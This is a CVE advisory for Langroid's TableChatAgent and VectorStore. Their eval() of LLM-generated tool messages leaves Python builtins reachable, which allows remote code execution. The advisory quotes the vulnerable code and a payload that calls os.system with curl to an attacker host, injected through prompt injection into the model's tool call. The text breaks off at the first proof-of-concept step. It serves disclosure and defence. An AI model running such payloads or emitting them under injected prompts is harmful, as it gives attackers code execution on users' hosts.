CVE-2026-54769

### Advisory Details **Title**: Sandbox Escape to Remote Code Execution via Incomplete `eval()` Mitigation in TableChatAgent **Description**: ### Summary Langroid is vulnerable to a critical Sandbox Escape leading to Remote Code Execution (RCE) in its `TableChatAgent` and `VectorStore` capabilities. When these agents evaluate LLM-generated tool messages with `full_eval=True`, they attempt to sandbox the execution by explicitly setting `locals` to an empty dictionary `{}` inside Python's `eval()` function. However, this relies on an incomplete understanding of Python's execution model. Because `__builtins__` is not explicitly scrubbed from the `globals` dictionary mapping, Python implicitly injects all built-ins during execution, granting full access to functions like `__import__('os').system()`. Since `TableChatAgent.pandas_eval()` executes external LLM outputs natively, this bypass permits any attacker providing prompt payload to achieve unauthenticated RCE on the host system. ### Details The root cause lies in how the framework evaluates generated Python code without a proper restricted environment. Specifically, in `/langroid/agent/special/table_chat_agent.py` around line 239: ```python # The `vars` mapping does not proactively overwrite or remove `__builtins__` # The empty `{}` locals parameter provides false security. eval_result = eval(code, vars, {}) ``` And similarly in `/langroid/vector_store/base.py` around line 225: ```python result = eval(code, vars, {}) ``` An attacker can utilize Prompt Injection to force the language model to generate a Tool Call with the specific `expression` property set to: `__import__('os').system('curl http://attacker.com/pwned')` Because the empty `{}` locals dictionary does not restrict globals implicitly derived via the Python interpreter, this execution succeeds without raising a NameError. ### PoC To reproduce the vulnerability on any local Langroid installation: 1. Start a vulnerable chat agent locally running Langroid